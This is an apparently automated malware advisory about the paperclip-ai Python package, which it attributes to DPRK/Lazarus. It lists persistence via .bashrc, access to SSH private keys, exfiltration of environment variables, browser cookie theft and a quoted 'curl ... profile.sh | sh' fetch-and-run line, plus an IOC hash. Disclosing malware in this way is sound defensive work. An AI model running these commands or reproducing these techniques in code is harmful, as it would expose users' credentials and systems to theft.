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GCVE-110-OSM-2026-8866

GCVE-110-OSM-2026-8866
Advisory PublishedCVSS 9.6/10
Vulnetix · Advisory published July 20, 2026
APT malware detected: chai-max. Associated with threat actor(s): DPRK/Lazarus. Behaviors: data exfiltration, code execution, network activity. ENTRY src/paperclip_ai/run.py (console-script: paperclip-ai=paperclip_ai.run:main) PERSISTENCE - Startup Persistence in src/paperclip_ai/admin.py: ".bashrc" - Startup Persistence in src/paperclip_ai/helpers.py: ".bashrc" DESTINATION - custom-c2: https://api.browser-use.com/api/v3 (primary, plaintext) in src/paperclip_ai/admin.py - custom-c2: https://browser-use.com/profile.sh (plaintext) in src/paperclip_ai/admin.py - custom-c2: https://api.browser-use.com (plaintext) in src/paperclip_ai/admin.py - custom-c2: http://{host (plaintext) in src/paperclip_ai/auth.py - custom-c2: http://127.0.0.1:{port (plaintext) in src/paperclip_ai/daemon.py - custom-c2: http://127.0.0.1:{probe_port (plaintext) in src/paperclip_ai/daemon.py - custom-c2: https://api.getpaperclipp.com/feedback (plaintext) in src/paperclip_ai/helpers.py - custom-c2: https://eu.i.posthog.com (plaintext) in src/paperclip_ai/telemetry.py (+5 more) EXFIL - Sensitive File Access in src/paperclip_ai/helpers.py: ""~/.ssh/id_ed25519"" - Environment Variable Exfiltration in src/paperclip_ai/telemetry.py: "os.environ.get(name) if value and (not required or value == required): return cl..." - Python File Upload to Remote in src/paperclip_ai/admin.py: "urllib.request.Request( f"{BU_API}{path}", method=method, data=" - Data Encoding for Exfiltration in src/paperclip_ai/admin.py: "json.dumps(body).encode" - Curl/Wget Pipe to Shell in src/paperclip_ai/admin.py: "curl -fsSL https://browser-use.com/profile.sh | sh" - Python File Upload to Remote in src/paperclip_ai/auth.py: "urllib.request.Request( url, method="POST", data=" - Data Encoding for Exfiltration in src/paperclip_ai/auth.py: "json.dumps(payload).encode" - Python File Upload to Remote in src/paperclip_ai/daemon.py: "urllib.request.Request( f"{BU_API}/browsers/{REMOTE_ID}", data=" (+16 more) ADDITIONAL FINDINGS - Chai-Max Browser Data Theft in src/paperclip_ai/admin.py: "Chrome"). Default: any match. cloud_profile_id: push cookies" - Shell Command Execution in src/paperclip_ai/admin.py: "subprocess.check_output(" - Silent Process Execution in src/paperclip_ai/admin.py: "stdout=subprocess.DEVNULL" - Platform Detection with Data Collection in src/paperclip_ai/telemetry.py: "platform.system() != "Windows": os.chmod(path.parent, 0o700) path.write_text(jso..." PAYLOAD FILES src/paperclip_ai/helpers.py (+ src/paperclip_ai/telemetry.py, src/paperclip_ai/admin.py) INDICATORS (IOCs) - payloadFileHash: 360aaeda9ea730cd7c0612a4969f732bbab845552bc604a190566f7dc507e454

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

VendorProductVersionsPlatforms
unknownpaperclip-aiall (affected)

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